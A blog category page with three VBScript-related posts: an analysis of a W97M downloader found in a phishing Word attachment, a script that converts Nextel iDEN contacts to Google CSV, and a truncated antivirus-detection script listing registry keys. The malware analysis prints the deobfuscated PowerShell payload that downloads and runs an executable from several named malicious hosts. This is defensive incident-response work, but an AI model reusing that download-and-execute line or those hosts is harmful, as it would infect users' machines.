Category: VBScript

  • Finding Malware URLs in W97M infected Word Docs

    Finding Malware URLs in W97M infected Word Docs

    An email with a trojan Microsoft Word document made it past the spam filter today at work. At least one user reported opening the attachment.

    The attachment was named: DOCO943488.doc, but running the file through virustotal.com it was clear that it’s been known by other names..

    screenshot from virustotal.com

    To help affected people find this page here are some hashes of the file:

    MD5: 1f692eb039d73ca5cb3fde95263ba93a
    SHA1: bc3549d15b2801b4e6058991031b5f799bbad9fe
    SHA256: a989a2bcab4cea78ee6c5ae18e6c19a54cd9e2fe47b43a1ec38c9fd41adc5a4e

    I *think* the script inside of the Word Document is the W97M.Downloader

    I decided to take a closer look, and document my process in case it is helpful to anyone else.

    user@host:~$ file DOCO943488.doc
    DOCO943488.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Nov 15 16:38:00 2018, Last Saved Time/Date: Thu Nov 15 16:38:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0

    Nothing too surprising here, guess it’s a Word Doc..

    I’ve added some line breaks and ellipses for formatting and brevity in the output below, but I haven’t changed any relevant details.

    Lets see if the binutils “strings” command can shed any light on this

    user@host:~$ strings DOCO943488.doc |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"^se^t ^u^O=s^s.s^a&&s^e
    ^t tF^U^x=^b&&s^e^t ^h^u^f=^str^e&&s^e^t 3^H^5=^t^ ^-&&^set s^WD^p=^’&&^s^e^t v^M^5V=^.&&^s^et
    j^lN=^hr&&^s^et hX^s^P=vc&&s^e^t rzSu=^h&&s^e^t ^j^2n=n^ ^$&&s^et ^htk=^w&&^se^t ^8^d=c&&^s^et

    Hmm, looks like something is here, maybe if I remove some carets it will be more clear.

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set uO=ss.sa&&set tFUx=b
    &&set huf=stre&&set 3H5=t -&&set sWDp=’&&set vM5V=.&&set jlN=hr&&set hXsP=vc&&set rzSu=h&&set
    j2n=n $&&set htk=w&&set 8d=c&&set jkZg=d&&set Dm=v&&set vC0H=;&&set wvs=eB&&set 3zN=.&&set u1=:&&

    Yeah that’s looking better, looks like they’re running a bunch of commands in the cmd.exe Command Prompt. Let’s look at them one per line instead of chained together with “&&“s.

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |sed ‘s/&&/\n/g’ |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set uO=ss.sa
    set tFUx=b
    set huf=stre
    set 3H5=t –
    set sWDp=’

    Huh, OK, looks like they are setting a bunch of variables with tiny bits of text so as to obfuscate what’s happening. Let’s look at some lines that don’t just begin with “set” to see what the script is doing with all these bits.

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |sed ‘s/&&/\n/g’ |grep -ve ^set |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set uO=ss.sa
    call set UJ4=%Y1eE%%fQDi%%Ut%%hYq%%J2%%Rkvf%%0E%%UDO%%mN4%%R3r4%%Ts%%wyO%%WS4%%MJ%…
    call %UJ4%"

    The first line that doesn’t begin with “set” we’ve already seen, it’s the command prompt statement, ignoring that and moving on we see that they are setting a new variable called UJ4 with a value made up from the values of all of the little obfuscated parts we saw earlier. Finally they are executing whatever commands are inside that obfuscated value.

    We need to know the value inside of UJ4, which we can get by looking up the value to all the “set” statements in the order they appear inside of the “set UJ4” line.

    Let’s save this to a file (script.txt) so we can unravel the mystery

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |sed ‘s/&&/\n/g’ >script.txt

    Next a quick bash script to reassemble the obfuscated parts in the correct order

    #!/bin/bash

    obfuscated="$(grep -m1 ‘set UJ4’ script.txt)"
    obfuscated="${obfuscated#*’UJ4=’}"

    plain=""

    while [ "${#obfuscated}" -gt 0 ];
    do
            if [ "${obfuscated:0:1}" == ‘%’ ]; then
                    # Lookup var value
                    obfuscated="${obfuscated:1}"
                    value="$(grep -m1 "set ${obfuscated%%’%’*}" script.txt)"
                    value="${value#*’=’}"
                    if [ -n "$value" ]; then
                            plain+="$value"
                    fi
                    obfuscated="${obfuscated#*’%’}"

            else
                    # Append literal
                    plain+="${obfuscated%%’%’*}"
                    obfuscated="%${obfuscated#*’%’}"
            fi

    done

    echo "$plain"

    Run that to get our results…

    user@host:~$ ./unravel.sh
    powershell $swA=’Rpt’;$tWX=’http://icxturkeyscom/e@http://c-vietnam.es/SAgs@http://cungnhaudocsach.vn/l@http://lightad.com.br/G5i4hhrx@http://www.vcorset.com/wp-content/uploads/XX9f’.Split(‘@’);$SiC=([.ystem.IO.Path]::GetTempPath()+’\jqI.exe’);$dIO =New-Object -com ‘msxml2.xmlhttp’;$lss = New-Object -com ‘adodb.stream’;foreach($ZsC in $tWX){try{$dIO.open(‘GET’,$ZsC,0);$dIO.send();$lss.open();$lss.type = 1;$lss.write($dIO.responseBod$);$lss.savetofile($SiC);Start-Process $SiC;break}catch{}}

    Hmm, another layer to the onion, looks like the cmd.exe commands generates a powershell script. Let’s format a little cleaner

    user@host:~$ ./unravel.sh |sed ‘s/;/;\n/g’
    powershell $swA=‘Rpt’;
    $tWX=‘http://icxturkeyscom/e@http://c-vietnam.es/SAgs@http://cungnhaudocsach.vn/l@http://lightad.com.br/G5i4hhrx@http://www.vcorset.com/wp-content/uploads/XX9f’.Split(‘@’);
    $SiC=([.ystem.IO.Path]::GetTempPath()+‘\jqI.exe’);
    $dIO =New-Object com ‘msxml2.xmlhttp’;
    $lss = New-Object com ‘adodb.stream’;
    foreach($ZsC in $tWX){try{$dIO.open(‘GET’,$ZsC,0);
    $dIO.send();
    $lss.open();
    $lss.type = 1;
    $lss.write($dIO.responseBod$);
    $lss.savetofile($SiC);
    StartProcess $SiC;
    break}catch{}}

    OK good, looks like this is the bottom of the rabbit hole.

    Taking a look, we’ve got an array ($tWX) of URLs:

    http://icxturkeyscom/e
    http://c-vietnam.es/SAgs
    http://cungnhaudocsach.vn/l
    http://lightad.com.br/G5i4hhrx
    http://www.vcorset.com/wp-content/uploads/XX9f

    They use the msxml2.xmlhttp COM object ($dIO) to open a connection to each server ($ZsC) in the list and if successful use adodb.stream ($lss) to write the downloaded contents into a file ($SiC) named “jqI.exe” in the temporary directory returned by GetTempPath.

    I think this means if a user opened this attachment and it executed properly there would be a file named jqI.exe in the directory specified in the first defined environment variable in the following ordered list of environment variables: %TMP%, %TEMP%, %USERPROFILE%, and finally if all else fails %WINDIR%.

    Unfortunately all of the URLs in the list returned “403 Forbidden” when I attempted to get a sample of the malicious executable. I say “unfortunately”, but I suppose this is all for the best, as it hopefully means many people who opened this attachment might have been spared some of the consequences. The first URL in the list isn’t even valid, I’m not sure if this was something I did, or the malware author did (I bet the latter). “icx.turkeys.com” does resolve, perhaps that’s what it was supposed to be although there was no malicious payload to be found there either.

    Still, it was possible that one of our users might have gotten the malicious executable before it was removed from all the servers. Luckily we force all local DNS traffic through our own server and keep pretty robust logging of queries there. After consulting those logs it was clear to me that even the one user who reported opening the attachment did not execute the malicious script.

    While it feels like a bit of work for nothing, I think the effort was still worth it for the peace of mind (and also maybe a little bit of fun as well).

    UPDATE: Since writing this a few more emails have come through with only slightly modified versions of the first script.

    I’ve modified the bash script to work with the sample files I have, hopefully other Doc files infected with W97M (if that is what this is) can also be used.

    If you want a copy you can download it here: w97url.zip

    The script takes one argument, the name of the Doc file, and outputs the list of URLs that the downloader fetches from.

    Here are the sums of some other files I’ve used this with

    Name: Express – 4QHJ67386155378293.doc
    MD5: 2fbd99c8b3bbde8a84732dc05ae85281
    SHA1: baa1e5b1ad75fff04b448c97a6847e7389a700f8
    SHA256: 522a44fe5b0f334e2191919fc7861a2234ee0eb1815e3f4875271edd7320f3cb  

    Name: FILEO8346.doc
    MD5: 8a9969b083e3f893375f1d583b2f5c96
    SHA1: 8e32ce09cce9578d8ac2897ca07702df5b34e703
    SHA256: c9e3f794ef01c043dcc79c7fcf8c040bb6a9fd20b91bcba0f2af61438b536bb5

    So far the following hosts have been found to be listed:

    icx.turkeys.com
    c-vietnam.es
    cungnhaudocsach.vn
    lightad.com.br
    zhangjiabirdnest.co
    panelapreta.com.br
    sitrantor.es
    managementservices.com
    elogs.co.il
    al-arabpoets.com
    proarchiland.ru
    www.alefbookstores.com
  • Import Nextel iDEN Contacts to Google

    Import Nextel iDEN Contacts to Google

    Sprint is decommissioning it’s Nextel iDEN network in 2013. The Nextel network has been very popular with businesses for it’s push-to-talk (PTT) “walkie-talkie“-like service. Several rugged (and bulky) mobile phones like the Motorola i355 and i365 are well adapted to the sometimes harsh environments of field work and clumsy service technicians. Unfortunately it seems that many of these phones will outlive the network that supports them, leaving just SouthernLINC and a handful of small regional providers to offer any iDEN network service in the U.S. market.

    It seems that everyone is switching to smartphones these days, and my office is no exception. One of the nicest features from an information technology standpoint about this new generation of phone is cloud integration. Frequently setting up one Exchange server or Google Apps account on the phone will synchronize calendars, contacts, and email. It soon became apparent while migrating the staff off their beastly “dumb”-phones that people were going to be spending a lot of time manually transferring their contacts from one phone to the other. To speed up the process I created a VBScript that works with the Motorola iDEN Phonebook Manager to export the phone book Jet database into a CSV file compatible with Google Contacts.

    EDIT: Updated to add a kludgy work-around for 64-bit Windows

    Download iden2googlecontacts.zip

    CSVname = "export.csv"
    DBname = "import.mdb"

    ‘Optional Usage: iden2googlecontacts.vbs SourceDB TargetCSV

    If WScript.Arguments.Count => 1 Then
        DBname = WScript.Arguments(0)
    End If
    If WScript.Arguments.Count => 2 Then
        CSVname = WScript.Arguments(1)
    End If


    ‘So I guess this doesn’t work with the default WSH interpreter on 64-bit versions of Windows
    If WScript.Arguments.Count < 3 Then
        Set objShell = CreateObject("WScript.Shell")
        If objShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PROCESSOR_ARCHITECTURE") = "AMD64" Then
            WINDIR=objShell.ExpandEnvironmentStrings("%WINDIR%")

            Set fs = CreateObject("Scripting.FileSystemObject")
            If Not fs.FileExists(WINDIR & "\SysWOW64\wscript.exe") Then
                WScript.Echo WINDIR & "\SysWOW64\wscript.exe"
                WScript.Echo "Warning: Can’t find 64-bit Wscript.exe, this probably won’t work."
                Set colSystemEnvVars = Nothing
                Set objShell = Nothing
                Set fs = Nothing
            Else
                ‘The script won’t fork if there are 3 or more arguments on the command line
                Command = WINDIR & "\SysWOW64\wscript.exe "
                Command = Command & Chr(34) & WScript.ScriptFullName & Chr(34)
                Command = Command & " "
                Command = Command & Chr(34) & DBname & Chr(34)
                Command = Command & " "
                Command = COmmand & Chr(34) & CSVname & Chr(34)
                Command = Command & " "
                Command = Command & "NO_FORK"
                objShell.Run Command
                WScript.Quit
            End If
        End If
    End If
    ‘OK Things should be back to normal at this point

    If InStr(CSVname, "") = 0 Then
        Set objShell = CreateObject("WScript.shell")
        CSVname = objShell.CurrentDirectory & "" & CSVname
        Set objShell = Nothing
    End If

    If InStr(DBname, "") = 0 Then
        Set objShell = CreateObject("WScript.shell")
        DBname = objShell.CurrentDirectory & "" & DBname
        Set objShell = Nothing
    End If

    Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists(DBname) Then
        WScript.Echo "Error: Database " & DBname & " was not found!"
        WScript.Quit
    End If
    Set fs = Nothing

    WScript.Echo "Exporting " & DBname & " to CSV file " & CSVname

    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.CreateTextFile(CSVname, True)

    i=0

    objTextFile.Write("Name,Given Name,Additional Name,Family Name,Yomi Name,Given Name Yomi,Additional Name Yomi,Family Name Yomi,Name Prefix,Name Suffix,Initials,Nickname,Short Name,Maiden Name,Birthday,Gender,Location,Billing Information,Directory Server,Mileage,Occupation,Hobby,Sensitivity,Priority,Subject,Notes,Group Membership,E-mail 1 – Type,E-mail 1 – Value,E-mail 2 – Type,E-mail 2 – Value,Phone 1 – Type,Phone 1 – Value,Organization 1 – Type,Organization 1 – Name,Organization 1 – Yomi Name,Organization 1 – Title,Organization 1 – Department,Organization 1 – Symbol,Organization 1 – Location,Organization 1 – Job Description" & vbCRLF)

    SQL = "SELECT ContactName, Number, NumberType FROM tblContactList WHERE NumberType<>1 AND NumberType <= 6;"

    set oConn=CreateObject("ADODB.Connection")
    oConn.Open "Driver={Microsoft Access Driver (*.mdb)}; DBQ=" & DBname & ";"
    Set oRS=oConn.Execute(SQL)

    Do While Not oRS.EOF
            ‘Name
        objTextFile.Write(oRS.Fields("ContactName"))
        objTextFile.Write(",")
        ‘Given Name
        objTextFile.Write(",")
        ‘Additional Name
        objTextFile.Write(",")
        ‘Family Name
        objTextFile.Write(",")
        ‘Yomi Name
        objTextFile.Write(",")
        ‘Given Name Yomi
        objTextFile.Write(",")
        ‘Additional Name Yomi
        objTextFile.Write(",")
        ‘Family Name Yomi
        objTextFile.Write(",")
        ‘Name Prefix
        objTextFile.Write(",")
        ‘Name Suffix
        objTextFile.Write(",")
        ‘Initials
        objTextFile.Write(",")
        ‘Nickname
        objTextFile.Write(",")
        ‘Short Name
        objTextFile.Write(",")
        ‘Maiden Name
        objTextFile.Write(",")
        ‘Birthday
        objTextFile.Write(",")
        ‘Gender
        objTextFile.Write(",")
        ‘Location
        objTextFile.Write(",")
        ‘Billing Information
        objTextFile.Write(",")
        ‘Directory Server
        objTextFile.Write(",")
        ‘Mileage
        objTextFile.Write(",")
        ‘Occupation
        objTextFile.Write(",")
        ‘Hobby
        objTextFile.Write(",")
        ‘Sensitivity
        objTextFile.Write(",")
        ‘Priority
        objTextFile.Write(",")
        ‘Subject
        objTextFile.Write(",")
        ‘Notes
        objTextFile.Write(",")
        ‘Group Membership
        objTextFile.Write(",")
        ‘E-mail 1 – Type
        objTextFile.Write(",")
        ‘E-mail 1 – Value
        objTextFile.Write(",")
        ‘E-mail 2 – Type
        objTextFile.Write(",")
        ‘E-mail 2 – Value
        objTextFile.Write(",")
        ‘Phone 1 – Type
        Select Case oRS.Fields("NumberType")
            Case "0"
                objTextFile.Write("Mobile")
            Case "2"
                objTextFile.Write("Home")
            Case "3"
                objTextFile.Write("Work")
            Case "4"
                objTextFile.Write("Mobile")
            Case "5"
                objTextFile.Write("Work Fax")
            Case "6"
                objTextFile.Write("Pager")
            Case else
                objTextFile.Write("Mobile")
        End Select
        objTextFile.Write(",")
        ‘Phone 1 – Value
        objTextFile.Write(oRS.Fields("Number"))
        ‘Organization 1 – Type
        objTextFile.Write(",")
        ‘Organization 1 – Name
        objTextFile.Write(",")
        ‘Organization 1 – Yomi Name
        objTextFile.Write(",")
        ‘Organization 1 – Title
        objTextFile.Write(",")
        ‘Organization 1 – Department
        objTextFile.Write(",")
        ‘Organization 1 – Symbol
        objTextFile.Write(",")
        ‘Organization 1 – Location
        objTextFile.Write(",")
        ‘Organization 1 – Job Description
        objTextFile.Write("," & vbCRLF)
        i = i + 1
        oRS.MoveNext
    Loop

    objTextFile.Close
    Set objFSO = Nothing

    If i > 1 Then
        WScript.Echo "Exported " & i & " record"
    Else
        WScript.Echo "Exported " & i & " records"
    End If

    If oRS.State = 1 or oRS.State = True Then
        oRS.Close
            oConn.Close
            set oRS = Nothing
            set oConn = Nothing
    End If

    The Motorola iDEN Phonebook Manager is a free download, but you’ll need a cheap cable (available on eBay for under $5 for many phones) to dump the contacts off the iDEN SIM card.

    Dock the phone to the USB cable and connect it to the computer you’ll be working with. You may be prompted to install additional drivers for your phone, but most of what you need will probably be included with the Motorola iDEN software download.

    Open up Motorola iDEN Phonebook Manager and select “New/Edit Phonebook“.

    Next select “Load From Phone“.

    The software will prompt you to make sure the cable is connected between the phone and computer. Press “OK“.

    An activity screen will open showing communication in progress between the computer and the phone.

    The phone’s display may also show some indication of something unusual happening (as seen on an i355) or may just go blank (i365).

    Once all the contacts are imported click the “Continue” button on the bottom of the window.

    Select “Save To File“.

    Pick a name for your file. I chose “import.mdb“, if you choose something else, you’ll have to edit the VBScript accordingly. Remember where you save the file.

    Download iden2googlecontacts.zip and extract the iden2googlecontacts.vbs script into the same directory as your phone book export (“import.mdb” in this example).

    Edit the script to change the input or output file names if required. When you are ready to run the script, double-click on iden2googlecontacts.vbs. The script will output the file names for verification, or warn you if it is unable to find the database to import contacts from.

    When the script is complete it will tell you how many contacts it exported into the new CSV file (named export.csv by default).

    Armed with the new CSV file export you just created, open up Google Contacts. under the “More” button choose “Import…“.

    Click the “Choose File” button.

    Navigate to the location where your export file was created and select the file (export.csv in this example). Click “Open” to proceed.

    Click the “Import” button.

    If everything worked OK, you should now see the new contacts. Click “Find & merge duplicates” to reconcile the import with any contacts the user may have already had in Google Contacts.

    To be useful on the smartphone you may have to move these contacts to the “My Contacts” group label. Click the square selection box as shown below and then choose “All” to select all contacts.

    Click the group button (the thing with three heads on it) and remove the check mark from the auto-generated label (shown here as “Import 9/28/12”). Place a check mark next to “My Contacts” and click “Apply

    The contacts should all be removed from the auto-generated group label. You may optionally remove this group label now. Click the “More” icon again and choose “Delete group“.

    Google will prompt you to confirm the deletion.

    That’s it. Depending on the model of your mobile phone additional steps may be required to resynchronise your contacts with the server, but many phones handle this automatically.

    If you are processing many phone books, consider the following command for batch processing

    for %f in (*.mdb) do cscript iden2googlecontacts.vbs %~nf.mdb %~nf.csv

    If you use this script and find it helpful (or run into problems), please let me know in the comments.

  • Antivirus Detection Detection

    If you read my last post then you may recall I had to update some aging antivirus software recently. As part of detecting which machines on the LAN still needed updating I wrote a quick and dirty script I’ll share with you. In the process of looking up the GUIDs for the version of Symantec I wanted removed, and the version I wanted to make sure was installed, I googled across a nice list of several popular antivirus applications and their associated HKEY_LM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall keys. In the interest of over-engineering an otherwise simple problem, I’ve shamelessly transmogrified said list. The purpose of this script is to show what antivirus software versions are installed on the running machine. It is far from comprehensive, and it’s source material is dated, however it may be reasonably good for some tasks. Adding support for other Antivirus vendors and versions should be trivial if you have access to a computer running them (in the case that you do, please comment with any details).

    Here is the resulting VBScript:
    avscan.vbs.zip

    Dim AppName(237), Keys(237)

    AppName(0)="Trend Micro Internet Security 2009"
    Keys(0)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{40E12A55-C504-4223-AFAC-7672DBF1ACDE}"

    AppName(1)="Trend Micro Internet Security 2009 Pro"
    Keys(1)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{718D791F-F4E8-4aa7-98A6-15FDED17BDD0}"

    AppName(2)="Trend Micro Internet Security 2008"
    Keys(2)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A621B45A-D138-4A95-BE10-7CABA05EF94E}"

    AppName(3)="Trend Micro HouseClean"
    Keys(3)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{883C6387-AEC1-41C5-B877-4250318B7366}"

    AppName(4)="Trend Micro Pc-cillin 2007"
    Keys(4)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB4B6355-D38A-492C-873B-A1B2CF6C3832}"

    AppName(5)="Trend Micro Pc-cillin 2006"
    Keys(5)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{EA8C73AA-3D75-44C9-87A2-8E945FC5FEE6}"

    AppName(6)="Trend Micro Pc-cillin 2005"
    Keys(6)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7698EDA5-A90F-4205-99CB-8FF6F9048ED9}"

    AppName(7)="Trend Micro Pc-cillin 2004 (AV)"
    Keys(7)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3ACF3AF1-8DBC-4EFB-AF03-37E212DDA83C}"

    AppName(8)="Trend Micro Pc-cillin 2004 (TIS)"
    Keys(8)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3943C4CF-AC42-4E00-8824-25159B8478F1}"

    AppName(9)="Trend PC-cillin 2003"
    Keys(9)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CA7FDA46-DFA8-4748-8F2E-8864E545735B}"

    AppName(10)="Trend PC-cillin 2002"
    Keys(10)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C90F3E44-3BF6-11D4-A110-00500405613A}"

    AppName(11)="Trend PC-cillin 2000(WinNT)"
    Keys(11)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9A861F26-E6A5-4ABE-A590-8EE405C1B612}"

    AppName(12)="Trend PC-cillin 2000(Win9X)"
    Keys(12)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 7"

    AppName(13)="Trend PC-cillin 2000 7.61(WinNT)"
    Keys(13)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A839294B-70A9-11D5-9F5A-0050DAD742CD}"

    AppName(14)="Trend PC-cillin 98 Plus(WinNT)"
    Keys(14)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 98 PLUS!"

    AppName(15)="Trend PC-cillin 98 Plus(Win95)"
    Keys(15)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 98 PLUS!"

    AppName(16)="Trend PC-cillin NT 6"
    Keys(16)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 6.0"

    AppName(17)="Trend PC-cillin 98"
    Keys(17)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 98"

    AppName(18)="Trend PC-cillin NT"
    Keys(18)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC-cillin NT"

    AppName(19)="Trend PC-cillin 97 2.0"
    Keys(19)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC-cillin 97"

    AppName(20)="Trend PC-cillin 97 3.0"
    Keys(20)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC-cillin 3.0"

    AppName(21)="Trend Micro HouseCall Pro"
    Keys(21)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CC2A3A50-2B1E-4E69-9B87-66264E4811DE}"

    AppName(22)="eScanWin 8.0.653.1"
    Keys(22)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eScan Internet Security for Windows_is1"

    AppName(23)="Norton Internet Security 2005"
    Keys(23)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{A93C9E60-29B6-49da-BA21-F70AC6AADE20}"

    AppName(24)="Norton AntiVirus 2005"
    Keys(24)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C6F5B6CF-609C-428E-876F-CA83176C021B}"

    AppName(25)="Norton AntiVirus 2004 Pro"
    Keys(25)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C6B28661-7910-442E-ADDD-72EAA8395380}"

    AppName(26)="Norton AntiVirus 2004"
    Keys(26)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C6F5B6CF-609C-428E-876F-CA83176C021B}"

    AppName(27)="Norton AntiVirus 2003"
    Keys(27)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{84555E03-F08E-4B9C-BE83-9D5E77190E89}"

    AppName(28)="Norton AntiVirus 2003 Professional"
    Keys(28)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F4C9398F-B6C6-4A4B-8B6D-795CD86F915D}"

    AppName(29)="Norton AntiVirus 2002 NT"
    Keys(29)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3075C5C3-0807-4924-AF8F-FF27052C12AE}"

    AppName(30)="Norton AntiVirus 2001 NT"
    Keys(30)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus"

    AppName(31)="Norton AntiVirus 7.5 NT"
    Keys(31)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BD12EB47-DBDF-11D3-BEEA-00A0CC272509}"

    AppName(32)="Norton AntiVirus 8.0/8.1 9x"
    Keys(32)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0EFC6259-3AD8-4CD2-BC57-D4937AF5CC0E}"

    AppName(33)="Norton AntiVirus 8.1 server"
    Keys(33)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7D2B86CA-2D5D-469E-92ED-E56B62BD1D3C}"

    AppName(34)="Norton AntiVirus 7.0 NT"
    Keys(34)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition 7.0 for Windows NT"

    AppName(35)="Norton AntiVirus 7.0 9X"
    Keys(35)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition for Windows 7.0"

    AppName(36)="Norton AntiVirus 6.524"
    Keys(36)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\LDVP"

    AppName(37)="Norton AntiVirus 5.0 NT"
    Keys(37)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus"

    AppName(38)="Norton AntiVirus CE 8.1 server"
    Keys(38)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7D2B86CA-2D5D-469E-92ED-E56B62BD1D3C}"

    AppName(39)="Norton AntiVirus CE 8.0 9x"
    Keys(39)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0EFC6259-3AD8-4CD2-BC57-D4937AF5CC0E}"

    AppName(40)="Norton AntiVirus CE 7.5 NT"
    Keys(40)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BD12EB47-DBDF-11D3-BEEA-00A0CC272509}"

    AppName(41)="Norton AntiVirus CE 7.0 NT"
    Keys(41)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition 7.0 for Windows NT"

    AppName(42)="Norton AntiVirus Corporate Edition 7.0 for Windows NT"
    Keys(42)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition"

    AppName(43)="Norton AntiVirus CE 7.0 9X"
    Keys(43)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition for Windows 7.0"

    AppName(44)="Norton AntiVirus CE 6.524"
    Keys(44)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\LDVP"

    AppName(45)="LANDesk VirusProtect5.0"
    Keys(45)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\LDVP 5.0"

    AppName(46)="Symantec Client Firewall 2004 NT"
    Keys(46)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A6F7E997-2236-4145-A028-438F2484241A}"

    AppName(47)="Symantec AntiVirus CE 10.0 NT"
    Keys(47)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5A633ED0-E5D7-4D65-AB8D-53ED43510284}"

    AppName(48)="Symantec AntiVirus 10.0.1.1000.1"
    Keys(48)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3248E093-5288-4CA9-B3AB-11A675FEA1F9}"

    AppName(49)="Symantec AntiVirus 10.0.2000.2"
    Keys(49)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{46B63F23-2B4A-4525-A827-688026BE5E40}"

    AppName(50)="Symantec AntiVirus 10.1.394.0"
    Keys(50)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A011A1DC-7F1D-4EA8-BD11-0C5F9718E428}"

    AppName(51)="Symantec AntiVirus 10.1.394.0 DE"
    Keys(51)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F3F432EE-5C5C-49C8-A267-696A19C642A1}"

    AppName(52)="Symantec AntiVirus 10.1.4000.4"
